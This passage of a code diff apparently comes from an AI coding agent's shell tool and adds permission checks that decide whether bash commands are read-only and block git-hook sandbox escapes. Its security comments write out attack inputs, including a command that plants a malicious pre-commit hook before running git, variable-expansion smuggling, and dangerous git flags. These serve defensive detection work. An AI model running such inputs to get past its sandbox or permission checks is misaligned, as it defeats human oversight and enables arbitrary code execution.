+    // Handle escape sequences
+    if (escaped) {
+      escaped = false
+      continue
+    }
+
+    // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
+    // `\` inside `'...'` is LITERAL — it does not escape the next character.
+    // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
+    // escaped=true, then the closing `'` is consumed by the escaped-skip
+    // instead of toggling inSingleQuote. Parser stays in single-quote
+    // mode for the rest of the command, missing ALL subsequent expansions.
+    // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
+    // `*` is inside quotes → returns false (glob NOT detected).
+    // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
+    // before this function is reached, but we fix the tracker anyway for
+    // consistency with the correct implementations in bashSecurity.ts.
+    if (currentChar === '\\' && !inSingleQuote) {
+      escaped = true
+      continue
+    }
+
+    // Update quote state
+    if (currentChar === "'" && !inDoubleQuote) {
+      inSingleQuote = !inSingleQuote
+      continue
+    }
+
+    if (currentChar === '"' && !inSingleQuote) {
+      inDoubleQuote = !inDoubleQuote
+      continue
+    }
+
+    // Inside single quotes: everything is literal. Skip.
+    if (inSingleQuote) {
+      continue
+    }
+
+    // Check `$` followed by variable-name or special-parameter character.
+    // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
+    if (currentChar === '$') {
+      const next = command[i + 1]
+      if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
+        return true
+      }
+    }
+
+    // Globs are literal inside double quotes too. Only check unquoted.
+    if (inDoubleQuote) {
+      continue
+    }
+
+    // Check for glob characters outside all quotes.
+    // These could expand to anything, including dangerous flags.
+    if (currentChar && /[?*[\]]/.test(currentChar)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
+ * Internal helper function that validates individual commands.
+ *
+ * @param command The command string to check
+ * @returns true if the command is read-only
+ */
+function isCommandReadOnly(command: string): boolean {
+  // Handle common stderr-to-stdout redirection pattern
+  // This handles both "command 2>&1" at the end of a full command
+  // and "command 2>&1" as part of a pipeline component
+  let testCommand = command.trim()
+  if (testCommand.endsWith(' 2>&1')) {
+    // Remove the stderr redirection for pattern matching
+    testCommand = testCommand.slice(0, -5).trim()
+  }
+
+  // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
+  // Do this early to prevent any command with UNC paths from being marked as read-only
+  if (containsVulnerableUncPath(testCommand)) {
+    return false
+  }
+
+  // Check for unquoted glob characters and expandable `$` variables that could
+  // bypass our regex-based security checks. We can't know what these expand to
+  // at runtime, so we can't verify the command is read-only.
+  //
+  // Globs: `python *` could expand to `python --help` if such a file exists.
+  //
+  // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
+  // last arg of the previous command. With IFS word splitting, this smuggles
+  // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
+  // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+  // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
+  // have no such guard. See containsUnquotedExpansion for full analysis.
+  if (containsUnquotedExpansion(testCommand)) {
+    return false
+  }
+
+  // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
+  // Regex filters can be bypassed, so we use strict allowlist validation instead.
+  // This requires defining a set of known safe flags. Claude can help with this,
+  // but please look over it to ensure it didn't add any flags that allow file writes
+  // code execution, or network requests.
+  if (isCommandSafeViaFlagParsing(testCommand)) {
+    return true
+  }
+
+  for (const regex of READONLY_COMMAND_REGEXES) {
+    if (regex.test(testCommand)) {
+      // Prevent git commands with -c flag to avoid config options that can lead to code execution
+      // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
+      // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
+      // Check for -c preceded by whitespace and followed by whitespace or equals
+      // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
+      if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
+        return false
+      }
+
+      // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
+      // The --exec-path flag allows overriding the directory where git looks for executables
+      if (
+        testCommand.includes('git') &&
+        /\s--exec-path[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+
+      // Prevent git commands with --config-env flag to avoid config injection via environment variables
+      // The --config-env flag allows setting git config values from environment variables, which can be
+      // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
+      if (
+        testCommand.includes('git') &&
+        /\s--config-env[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Checks if a compound command contains any git command.
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand is a git command
+ */
+function commandHasAnyGit(command: string): boolean {
+  return splitCommand_DEPRECATED(command).some(subcmd =>
+    isNormalizedGitCommand(subcmd.trim()),
+  )
+}
+
+/**
+ * Git-internal path patterns that can be exploited for sandbox escape.
+ * If a command creates these files and then runs git, the git command
+ * could execute malicious hooks from the created files.
+ */
+const GIT_INTERNAL_PATTERNS = [
+  /^HEAD$/,
+  /^objects(?:\/|$)/,
+  /^refs(?:\/|$)/,
+  /^hooks(?:\/|$)/,
+]
+
+/**
+ * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
+ */
+function isGitInternalPath(path: string): boolean {
+  // Normalize path by removing leading ./ or /
+  const normalized = path.replace(/^\.?\//, '')
+  return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
+}
+
+// Commands that only delete or modify in-place (don't create new files at new paths)
+const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
+
+/**
+ * Extracts write paths from a subcommand using PATH_EXTRACTORS.
+ * Only returns paths for commands that can create new files/directories
+ * (write/create operations excluding deletion and in-place modification).
+ */
+function extractWritePathsFromSubcommand(subcommand: string): string[] {
+  const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
+  if (!parseResult.success) return []
+
+  const tokens = parseResult.tokens.filter(
+    (t): t is string => typeof t === 'string',
+  )
+  if (tokens.length === 0) return []
+
+  const baseCmd = tokens[0]
+  if (!baseCmd) return []
+
+  // Only consider commands that can create files at target paths
+  if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
+    return []
+  }
+  const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
+  if (
+    (opType !== 'write' && opType !== 'create') ||
+    NON_CREATING_WRITE_COMMANDS.has(baseCmd)
+  ) {
+    return []
+  }
+
+  const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
+  if (!extractor) return []
+
+  return extractor(tokens.slice(1))
+}
+
+/**
+ * Checks if a compound command writes to any git-internal paths.
+ * This is used to detect potential sandbox escape attacks where a command
+ * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
+ *
+ * SECURITY: A compound command could bypass the bare repo detection by:
+ * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
+ * 2. Then running git, which would execute malicious hooks
+ *
+ * Example attack:
+ * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand writes to git-internal paths
+ */
+function commandWritesToGitInternalPaths(command: string): boolean {
+  const subcommands = splitCommand_DEPRECATED(command)
+
+  for (const subcmd of subcommands) {
+    const trimmed = subcmd.trim()
+
+    // Check write paths from path-based commands (mkdir, touch, cp, mv)
+    const writePaths = extractWritePathsFromSubcommand(trimmed)
+    for (const path of writePaths) {
+      if (isGitInternalPath(path)) {
+        return true
+      }
+    }
+
+    // Check output redirections (e.g., echo x > hooks/pre-commit)
+    const { redirections } = extractOutputRedirections(trimmed)
+    for (const { target } of redirections) {
+      if (isGitInternalPath(target)) {
+        return true
+      }
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks read-only constraints for bash commands.
+ * This is the single exported function that validates whether a command is read-only.
+ * It handles compound commands, sandbox mode, and safety checks.
+ *
+ * @param input The bash command input to validate
+ * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
+ *                              This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
+ * @returns PermissionResult indicating whether the command is read-only
+ */
+export function checkReadOnlyConstraints(
+  input: z.infer<typeof BashTool.inputSchema>,
+  compoundCommandHasCd: boolean,
+): PermissionResult {
+  const { command } = input
+
+  // Detect if the command is not parseable and return early
+  const result = tryParseShellCommand(command, env => `$${env}`)
+  if (!result.success) {
+    return {
+      behavior: 'passthrough',
+      message: 'Command cannot be parsed, requires further permission checks',
+    }
+  }
+
+  // Check the original command for safety before splitting
+  // This is important because splitCommand_DEPRECATED may transform the command
+  // (e.g., ${VAR} becomes $VAR)
+  if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
+    return {
+      behavior: 'passthrough',
+      message: 'Command is not read-only, requires further permission checks',
+    }
+  }
+
+  // Check for Windows UNC paths in the original command before transformation
+  // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
+  if (containsVulnerableUncPath(command)) {
+    return {
+      behavior: 'ask',
+      message:
+        'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
+    }
+  }
+
+  // Check once if any subcommand is a git command (used for multiple security checks below)
+  const hasGitCommand = commandHasAnyGit(command)
+
+  // SECURITY: Block compound commands that have both cd AND git
+  // This prevents sandbox escape via: cd /malicious/dir && git status
+  // where the malicious directory contains fake git hooks that execute arbitrary code.
+  if (compoundCommandHasCd && hasGitCommand) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands with cd and git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
+  // This prevents sandbox escape when an attacker has:
+  // 1. Deleted .git/HEAD to invalidate the normal git directory
+  // 2. Created hooks/pre-commit or other git-internal files in the current directory
+  // Git would then treat the cwd as the git directory and execute malicious hooks.
+  if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands in directories with bare repository structure require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block compound commands that write to git-internal paths AND run git
+  // This prevents sandbox escape where a command creates git-internal files
+  // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
+  // malicious hooks from the newly created files.
+  // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
+  if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands that create git internal files and run git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
+  // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
+  // Race condition: a sandboxed command can create bare repo files in a subdirectory,
+  // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
+  // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
+  if (
+    hasGitCommand &&
+    SandboxManager.isSandboxingEnabled() &&
+    getCwd() !== getOriginalCwd()
+  ) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands outside the original working directory require permission checks when sandbox is enabled',
+    }
+  }
+
+  // Check if all subcommands are read-only
+  const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
+    subcmd => {
+      if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
+        return false
+      }
+      return isCommandReadOnly(subcmd)
+    },
+  )
+
+  if (allSubcommandsReadOnly) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+    }
+  }
+
+  // If not read-only, return passthrough to let other permission checks handle it
+  return {
+    behavior: 'passthrough',
+    message: 'Command is not read-only, requires further permission checks',
+  }
+}

src/tools/BashTool/sedEditParser.ts

@@ -0,0 +1,322 @@
+/**
+ * Parser for sed edit commands (-i flag substitutions)
+ * Extracts file paths and substitution patterns to enable file-edit-style rendering
+ */
+
+import { randomBytes } from 'crypto'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+
+// BRE→ERE conversion placeholders (null-byte sentinels, never appear in user input)
+const BACKSLASH_PLACEHOLDER = '\x00BACKSLASH\x00'
+const PLUS_PLACEHOLDER = '\x00PLUS\x00'
+const QUESTION_PLACEHOLDER = '\x00QUESTION\x00'
+const PIPE_PLACEHOLDER = '\x00PIPE\x00'
+const LPAREN_PLACEHOLDER = '\x00LPAREN\x00'
+const RPAREN_PLACEHOLDER = '\x00RPAREN\x00'
+const BACKSLASH_PLACEHOLDER_RE = new RegExp(BACKSLASH_PLACEHOLDER, 'g')
+const PLUS_PLACEHOLDER_RE = new RegExp(PLUS_PLACEHOLDER, 'g')
+const QUESTION_PLACEHOLDER_RE = new RegExp(QUESTION_PLACEHOLDER, 'g')
+const PIPE_PLACEHOLDER_RE = new RegExp(PIPE_PLACEHOLDER, 'g')
+const LPAREN_PLACEHOLDER_RE = new RegExp(LPAREN_PLACEHOLDER, 'g')
+const RPAREN_PLACEHOLDER_RE = new RegExp(RPAREN_PLACEHOLDER, 'g')
+
+export type SedEditInfo = {
+  /** The file path being edited */
+  filePath: string
+  /** The search pattern (regex) */
+  pattern: string
+  /** The replacement string */
+  replacement: string
+  /** Substitution flags (g, i, etc.) */
+  flags: string
+  /** Whether to use extended regex (-E or -r flag) */
+  extendedRegex: boolean
+}
+
+/**
+ * Check if a command is a sed in-place edit command
+ * Returns true only for simple sed -i 's/pattern/replacement/flags' file commands
+ */
+export function isSedInPlaceEdit(command: string): boolean {
+  const info = parseSedEditCommand(command)
+  return info !== null
+}
+
+/**
+ * Parse a sed edit command and extract the edit information
+ * Returns null if the command is not a valid sed in-place edit
+ */
+export function parseSedEditCommand(command: string): SedEditInfo | null {
+  const trimmed = command.trim()
+
+  // Must start with sed
+  const sedMatch = trimmed.match(/^\s*sed\s+/)
+  if (!sedMatch) return null
+
+  const withoutSed = trimmed.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return null
+  const tokens = parseResult.tokens
+
+  // Extract string tokens only
+  const args: string[] = []
+  for (const token of tokens) {
+    if (typeof token === 'string') {
+      args.push(token)
+    } else if (
+      typeof token === 'object' &&
+      token !== null &&
+      'op' in token &&
+      token.op === 'glob'
+    ) {
+      // Glob patterns are too complex for this simple parser
+      return null
+    }
+  }
+
+  // Parse flags and arguments
+  let hasInPlaceFlag = false
+  let extendedRegex = false
+  let expression: string | null = null
+  let filePath: string | null = null
+
+  let i = 0
+  while (i < args.length) {
+    const arg = args[i]!
+
+    // Handle -i flag (with or without backup suffix)
+    if (arg === '-i' || arg === '--in-place') {
+      hasInPlaceFlag = true
+      i++
+      // On macOS, -i requires a suffix argument (even if empty string)
+      // Check if next arg looks like a backup suffix (empty, or starts with dot)
+      // Don't consume flags (-E, -r) or sed expressions (starting with s, y, d)
+      if (i < args.length) {
+        const nextArg = args[i]
+        // If next arg is empty string or starts with dot, it's a backup suffix
+        if (
+          typeof nextArg === 'string' &&
+          !nextArg.startsWith('-') &&
+          (nextArg === '' || nextArg.startsWith('.'))
+        ) {
+          i++ // Skip the backup suffix
+        }
+      }
+      continue
+    }
+    if (arg.startsWith('-i')) {
+      // -i.bak or similar (inline suffix)
+      hasInPlaceFlag = true
+      i++
+      continue
+    }
+
+    // Handle extended regex flags
+    if (arg === '-E' || arg === '-r' || arg === '--regexp-extended') {
+      extendedRegex = true
+      i++
+      continue
+    }
+
+    // Handle -e flag with expression
+    if (arg === '-e' || arg === '--expression') {
+      if (i + 1 < args.length && typeof args[i + 1] === 'string') {
+        // Only support single expression
+        if (expression !== null) return null
+        expression = args[i + 1]!
+        i += 2
+        continue
+      }
+      return null
+    }
+    if (arg.startsWith('--expression=')) {
+      if (expression !== null) return null
+      expression = arg.slice('--expression='.length)
+      i++
+      continue
+    }
+
+    // Skip other flags we don't understand
+    if (arg.startsWith('-')) {
+      // Unknown flag - not safe to parse
+      return null
+    }
+
+    // Non-flag argument
+    if (expression === null) {
+      // First non-flag arg is the expression
+      expression = arg
+    } else if (filePath === null) {
+      // Second non-flag arg is the file path
+      filePath = arg
+    } else {
+      // More than one file - not supported for simple rendering
+      return null
+    }
+
+    i++
+  }
+
+  // Must have -i flag, expression, and file path
+  if (!hasInPlaceFlag || !expression || !filePath) {
+    return null
+  }
+
+  // Parse the substitution expression: s/pattern/replacement/flags
+  // Only support / as delimiter for simplicity
+  const substMatch = expression.match(/^s\//)
+  if (!substMatch) {
+    return null
+  }
+
+  const rest = expression.slice(2) // Skip 's/'
+
+  // Find pattern and replacement by tracking escaped characters
+  let pattern = ''
+  let replacement = ''
+  let flags = ''
+  let state: 'pattern' | 'replacement' | 'flags' = 'pattern'
+  let j = 0
+
+  while (j < rest.length) {
+    const char = rest[j]!
+
+    if (char === '\\' && j + 1 < rest.length) {
+      // Escaped character
+      if (state === 'pattern') {
+        pattern += char + rest[j + 1]
+      } else if (state === 'replacement') {
+        replacement += char + rest[j + 1]
+      } else {
+        flags += char + rest[j + 1]
+      }
+      j += 2
+      continue
+    }
+
+    if (char === '/') {
+      if (state === 'pattern') {
+        state = 'replacement'
+      } else if (state === 'replacement') {
+        state = 'flags'
+      } else {
+        // Extra delimiter in flags - unexpected
+        return null
+      }
+      j++
+      continue
+    }
+
+    if (state === 'pattern') {
+      pattern += char
+    } else if (state === 'replacement') {
+      replacement += char
+    } else {
+      flags += char
+    }
+    j++
+  }
+
+  // Must have found all three parts (pattern, replacement delimiter, and optional flags)
+  if (state !== 'flags') {
+    return null
+  }
+
+  // Validate flags - only allow safe substitution flags
+  const validFlags = /^[gpimIM1-9]*$/
+  if (!validFlags.test(flags)) {
+    return null
+  }
+
+  return {
+    filePath,
+    pattern,
+    replacement,
+    flags,
+    extendedRegex,
+  }
+}
+
+/**
+ * Apply a sed substitution to file content
+ * Returns the new content after applying the substitution
+ */
+export function applySedSubstitution(
+  content: string,
+  sedInfo: SedEditInfo,
+): string {
+  // Convert sed pattern to JavaScript regex
+  let regexFlags = ''
+
+  // Handle global flag
+  if (sedInfo.flags.includes('g')) {
+    regexFlags += 'g'
+  }
+
+  // Handle case-insensitive flag (i or I in sed)
+  if (sedInfo.flags.includes('i') || sedInfo.flags.includes('I')) {
+    regexFlags += 'i'
+  }
+
+  // Handle multiline flag (m or M in sed)
+  if (sedInfo.flags.includes('m') || sedInfo.flags.includes('M')) {
+    regexFlags += 'm'
+  }
+
+  // Convert sed pattern to JavaScript regex pattern
+  let jsPattern = sedInfo.pattern
+    // Unescape \/ to /
+    .replace(/\\\//g, '/')
+
+  // In BRE mode (no -E flag), metacharacters have opposite escaping:
+  // BRE: \+ means "one or more", + is literal
+  // ERE/JS: + means "one or more", \+ is literal
+  // We need to convert BRE escaping to ERE for JavaScript regex
+  if (!sedInfo.extendedRegex) {
+    jsPattern = jsPattern
+      // Step 1: Protect literal backslashes (\\) first - in both BRE and ERE, \\ is literal backslash
+      .replace(/\\\\/g, BACKSLASH_PLACEHOLDER)
+      // Step 2: Replace escaped metacharacters with placeholders (these should become unescaped in JS)
+      .replace(/\\\+/g, PLUS_PLACEHOLDER)
+      .replace(/\\\?/g, QUESTION_PLACEHOLDER)
+      .replace(/\\\|/g, PIPE_PLACEHOLDER)
+      .replace(/\\\(/g, LPAREN_PLACEHOLDER)
+      .replace(/\\\)/g, RPAREN_PLACEHOLDER)
+      // Step 3: Escape unescaped metacharacters (these are literal in BRE)
+      .replace(/\+/g, '\\+')
+      .replace(/\?/g, '\\?')
+      .replace(/\|/g, '\\|')
+      .replace(/\(/g, '\\(')
+      .replace(/\)/g, '\\)')
+      // Step 4: Replace placeholders with their JS equivalents
+      .replace(BACKSLASH_PLACEHOLDER_RE, '\\\\')
+      .replace(PLUS_PLACEHOLDER_RE, '+')
+      .replace(QUESTION_PLACEHOLDER_RE, '?')
+      .replace(PIPE_PLACEHOLDER_RE, '|')
+      .replace(LPAREN_PLACEHOLDER_RE, '(')
+      .replace(RPAREN_PLACEHOLDER_RE, ')')
+  }
+
+  // Unescape sed-specific escapes in replacement
+  // Convert \n to newline, & to $& (match), etc.
+  // Use a unique placeholder with random salt to prevent injection attacks
+  const salt = randomBytes(8).toString('hex')
+  const ESCAPED_AMP_PLACEHOLDER = `___ESCAPED_AMPERSAND_${salt}___`
+  const jsReplacement = sedInfo.replacement
+    // Unescape \/ to /
+    .replace(/\\\//g, '/')
+    // First escape \& to a placeholder
+    .replace(/\\&/g, ESCAPED_AMP_PLACEHOLDER)
+    // Convert & to $& (full match) - use $$& to get literal $& in output
+    .replace(/&/g, '$$&')
+    // Convert placeholder back to literal &
+    .replace(new RegExp(ESCAPED_AMP_PLACEHOLDER, 'g'), '&')
+
+  try {
+    const regex = new RegExp(jsPattern, regexFlags)
+    return content.replace(regex, jsReplacement)
+  } catch {
+    // If regex is invalid, return original content
+    return content
+  }
+}

src/tools/BashTool/sedValidation.ts

@@ -0,0 +1,684 @@
+import type { ToolPermissionContext } from '../../Tool.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+
+/**
+ * Helper: Validate flags against an allowlist
+ * Handles both single flags and combined flags (e.g., -nE)
+ * @param flags Array of flags to validate
+ * @param allowedFlags Array of allowed single-character and long flags
+ * @returns true if all flags are valid, false otherwise
+ */
+function validateFlagsAgainstAllowlist(
+  flags: string[],
+  allowedFlags: string[],
+): boolean {
+  for (const flag of flags) {
+    // Handle combined flags like -nE or -Er
+    if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
+      // Check each character in combined flag
+      for (let i = 1; i < flag.length; i++) {
+        const singleFlag = '-' + flag[i]
+        if (!allowedFlags.includes(singleFlag)) {
+          return false
+        }
+      }
+    } else {
+      // Single flag or long flag
+      if (!allowedFlags.includes(flag)) {
+        return false
+      }
+    }
+  }
+  return true
+}
+
+/**
+ * Pattern 1: Check if this is a line printing command with -n flag
+ * Allows: sed -n 'N' | sed -n 'N,M' with optional -E, -r, -z flags
+ * Allows semicolon-separated print commands like: sed -n '1p;2p;3p'
+ * File arguments are ALLOWED for this pattern
+ * @internal Exported for testing
+ */
+export function isLinePrintingCommand(
+  command: string,
+  expressions: string[],
+): boolean {
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return false
+  const parsed = parseResult.tokens
+
+  // Extract all flags
+  const flags: string[] = []
+  for (const arg of parsed) {
+    if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
+      flags.push(arg)
+    }
+  }
+
+  // Validate flags - only allow -n, -E, -r, -z and their long forms
+  const allowedFlags = [
+    '-n',
+    '--quiet',
+    '--silent',
+    '-E',
+    '--regexp-extended',
+    '-r',
+    '-z',
+    '--zero-terminated',
+    '--posix',
+  ]
+
+  if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
+    return false
+  }
+
+  // Check if -n flag is present (required for Pattern 1)
+  let hasNFlag = false
+  for (const flag of flags) {
+    if (flag === '-n' || flag === '--quiet' || flag === '--silent') {
+      hasNFlag = true
+      break
+    }
+    // Check in combined flags
+    if (flag.startsWith('-') && !flag.startsWith('--') && flag.includes('n')) {
+      hasNFlag = true
+      break
+    }
+  }
+
+  // Must have -n flag for Pattern 1
+  if (!hasNFlag) {
+    return false
+  }
+
+  // Must have at least one expression
+  if (expressions.length === 0) {
+    return false
+  }
+
+  // All expressions must be print commands (strict allowlist)
+  // Allow semicolon-separated commands
+  for (const expr of expressions) {
+    const commands = expr.split(';')
+    for (const cmd of commands) {
+      if (!isPrintCommand(cmd.trim())) {
+        return false
+      }
+    }
+  }
+
+  return true
+}
+
+/**
+ * Helper: Check if a single command is a valid print command
+ * STRICT ALLOWLIST - only these exact forms are allowed:
+ * - p (print all)
+ * - Np (print line N, where N is digits)
+ * - N,Mp (print lines N through M)
+ * Anything else (including w, W, e, E commands) is rejected.
+ * @internal Exported for testing
+ */
+export function isPrintCommand(cmd: string): boolean {
+  if (!cmd) return false
+  // Single strict regex that only matches allowed print commands
+  // ^(?:\d+|\d+,\d+)?p$ matches: p, 1p, 123p, 1,5p, 10,200p
+  return /^(?:\d+|\d+,\d+)?p$/.test(cmd)
+}
+
+/**
+ * Pattern 2: Check if this is a substitution command
+ * Allows: sed 's/pattern/replacement/flags' where flags are only: g, p, i, I, m, M, 1-9
+ * When allowFileWrites is true, allows -i flag and file arguments for in-place editing
+ * When allowFileWrites is false (default), requires stdout-only (no file arguments, no -i flag)
+ * @internal Exported for testing
+ */
+function isSubstitutionCommand(
+  command: string,
+  expressions: string[],
+  hasFileArguments: boolean,
+  options?: { allowFileWrites?: boolean },
+): boolean {
+  const allowFileWrites = options?.allowFileWrites ?? false
+
+  // When not allowing file writes, must NOT have file arguments
+  if (!allowFileWrites && hasFileArguments) {
+    return false
+  }
+
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return false
+  const parsed = parseResult.tokens
+
+  // Extract all flags
+  const flags: string[] = []
+  for (const arg of parsed) {
+    if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
+      flags.push(arg)
+    }
+  }
+
+  // Validate flags based on mode
+  // Base allowed flags for both modes
+  const allowedFlags = ['-E', '--regexp-extended', '-r', '--posix']
+
+  // When allowing file writes, also permit -i and --in-place
+  if (allowFileWrites) {
+    allowedFlags.push('-i', '--in-place')
+  }
+
+  if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
+    return false
+  }
+
+  // Must have exactly one expression
+  if (expressions.length !== 1) {
+    return false
+  }
+
+  const expr = expressions[0]!.trim()
+
+  // STRICT ALLOWLIST: Must be exactly a substitution command starting with 's'
+  // This rejects standalone commands like 'e', 'w file', etc.
+  if (!expr.startsWith('s')) {
+    return false
+  }
+
+  // Parse substitution: s/pattern/replacement/flags
+  // Only allow / as delimiter (strict)
+  const substitutionMatch = expr.match(/^s\/(.*?)$/)
+  if (!substitutionMatch) {
+    return false
+  }
+
+  const rest = substitutionMatch[1]!
+
+  // Find the positions of / delimiters
+  let delimiterCount = 0
+  let lastDelimiterPos = -1
+  let i = 0
+  while (i < rest.length) {
+    if (rest[i] === '\\') {
+      // Skip escaped character
+      i += 2
+      continue
+    }
+    if (rest[i] === '/') {
+      delimiterCount++
+      lastDelimiterPos = i
+    }
+    i++
+  }
+
+  // Must have found exactly 2 delimiters (pattern and replacement)
+  if (delimiterCount !== 2) {
+    return false
+  }
+
+  // Extract flags (everything after the last delimiter)
+  const exprFlags = rest.slice(lastDelimiterPos + 1)
+
+  // Validate flags: only allow g, p, i, I, m, M, and optionally ONE digit 1-9
+  const allowedFlagChars = /^[gpimIM]*[1-9]?[gpimIM]*$/
+  if (!allowedFlagChars.test(exprFlags)) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * Checks if a sed command is allowed by the allowlist.
+ * The allowlist patterns themselves are strict enough to reject dangerous operations.
+ * @param command The sed command to check
+ * @param options.allowFileWrites When true, allows -i flag and file arguments for substitution commands
+ * @returns true if the command is allowed (matches allowlist and passes denylist check), false otherwise
+ */
+export function sedCommandIsAllowedByAllowlist(
+  command: string,
+  options?: { allowFileWrites?: boolean },
+): boolean {
+  const allowFileWrites = options?.allowFileWrites ?? false
+
+  // Extract sed expressions (content inside quotes where actual sed commands live)
+  let expressions: string[]
+  try {
+    expressions = extractSedExpressions(command)
+  } catch (_error) {
+    // If parsing failed, treat as not allowed
+    return false
+  }
+
+  // Check if sed command has file arguments
+  const hasFileArguments = hasFileArgs(command)
+
+  // Check if command matches allowlist patterns
+  let isPattern1 = false
+  let isPattern2 = false
+
+  if (allowFileWrites) {
+    // When allowing file writes, only check substitution commands (Pattern 2 variant)
+    // Pattern 1 (line printing) doesn't need file writes
+    isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments, {
+      allowFileWrites: true,
+    })
+  } else {
+    // Standard read-only mode: check both patterns
+    isPattern1 = isLinePrintingCommand(command, expressions)
+    isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments)
+  }
+
+  if (!isPattern1 && !isPattern2) {
+    return false
+  }
+
+  // Pattern 2 does not allow semicolons (command separators)
+  // Pattern 1 allows semicolons for separating print commands
+  for (const expr of expressions) {
+    if (isPattern2 && expr.includes(';')) {
+      return false
+    }
+  }
+
+  // Defense-in-depth: Even if allowlist matches, check denylist
+  for (const expr of expressions) {
+    if (containsDangerousOperations(expr)) {
+      return false
+    }
+  }
+
+  return true
+}
+
+/**
+ * Check if a sed command has file arguments (not just stdin)
+ * @internal Exported for testing
+ */
+export function hasFileArgs(command: string): boolean {
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return true
+  const parsed = parseResult.tokens
+
+  try {
+    let argCount = 0
+    let hasEFlag = false
+
+    for (let i = 0; i < parsed.length; i++) {
+      const arg = parsed[i]
+
+      // Handle both string arguments and glob patterns (like *.log)
+      if (typeof arg !== 'string' && typeof arg !== 'object') continue
+
+      // If it's a glob pattern, it counts as a file argument
+      if (
+        typeof arg === 'object' &&
+        arg !== null &&
+        'op' in arg &&
+        arg.op === 'glob'
+      ) {
+        return true
+      }
+
+      // Skip non-string arguments that aren't glob patterns
+      if (typeof arg !== 'string') continue
+
+      // Handle -e flag followed by expression
+      if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
+        hasEFlag = true
